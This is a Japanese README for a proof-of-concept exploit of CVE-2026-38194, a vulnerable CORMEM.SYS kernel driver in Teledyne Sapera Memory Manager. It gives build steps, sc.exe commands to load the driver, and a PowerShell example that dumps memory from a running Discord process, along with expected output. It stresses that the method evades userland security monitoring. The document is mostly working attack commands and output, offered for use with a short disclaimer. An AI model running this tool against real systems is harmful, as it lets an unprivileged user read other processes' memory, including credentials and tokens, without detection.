
このツールは、Teledyne Digital Imaging Sapera Memory Manager(v9.0.0.0以下)の脆弱性であるCVE-2026-38194を実証します。CORMEM.SYSカーネルドライバは、アクセス制御チェックなしでIOCTLを公開しており、標準的な非特権ユーザーがカーネルを介して任意のプロセスメモリを直接読み書きできるようになります——Win32 APIの監視をバイパスします。
免責事項:
このプロジェクトは教育およびセキュリティ研究目的のみで使用してください。 所有しているシステム、または明示的なテスト許可を得たシステムでのみ使用してください。 不正使用はお住まいの地域で違法となる可能性があります。
このツールは、Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 以下) における脆弱性 CVE-2026-38194 を実証します。
CORMEM.SYS カーネルドライバーは、アクセス制御チェックなしで IOCTL を公開しており、標準的な非特権ユーザーがカーネルを介して任意のプロセスメモリーを直接読み書きできるようにします。これにより、Win32 API の監視を完全にバイパスします。

メモリーへのアクセスは、ReadProcessMemory ではなく物理アドレス変換(ページテーブルウォーク)を介して行われるため、ほとんどのユーザーランドセキュリティソフトウェアからは透過的です。
cmake -B build -A x64
cmake --build build --config Release
CORMEM.SYS がまだロードされていない場合は、管理者として手動でロードします。
sc.exe create CORMEM binPath= "C:\path\to\CORMEM.SYS" type= kernel start= demand
sc.exe start CORMEM
完了したらアンロードします。
sc.exe stop CORMEM
sc.exe delete CORMEM
cordrv_exploit.exe <pid> <address> [size]
pid プロセスID(10進数)
address 読み取る仮想アドレス(16進数)
size ダンプするバイト数、デフォルト256、最大1048576
# Get the main Discord process
$proc = Get-Process -Name "Discord" | Sort-Object WorkingSet -Descending | Select-Object -First 1
$discordPid = $proc.Id
$base = $proc.Modules[0].BaseAddress
Write-Host "PID : $discordPid"
Write-Host "Base : 0x$($base.ToString('X'))"
.\build\Release\cordrv_exploit.exe $discordPid "0x$($base.ToString('X'))" 256
期待される出力:
[*] Target PID : 16364
[*] Target address : 0x7FF6FC180000
[*] Dump size : 256 bytes
[*] Initializing CorDrv...
[+] Driver initialized.
[*] Finding system DTB...
[+] System DTB: 0x1AE000
[*] Searching EPROCESS list for PID 16364...
[+] Process DTB: 0x2CD30F000
[+] VA 0x7FF6FC180000 -> PA 0x1A98C2000
Memory dump (0x7FF6FC180000, 256 bytes):
7FF6FC180000: 4D 5A 78 00 01 00 00 00 04 00 00 00 00 00 00 00
7FF6FC180010: 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
...
[+] Done.
オフセット0にある 4D 5A は、MZ ヘッダーが物理 RAM から正常に読み取られたことを確認します。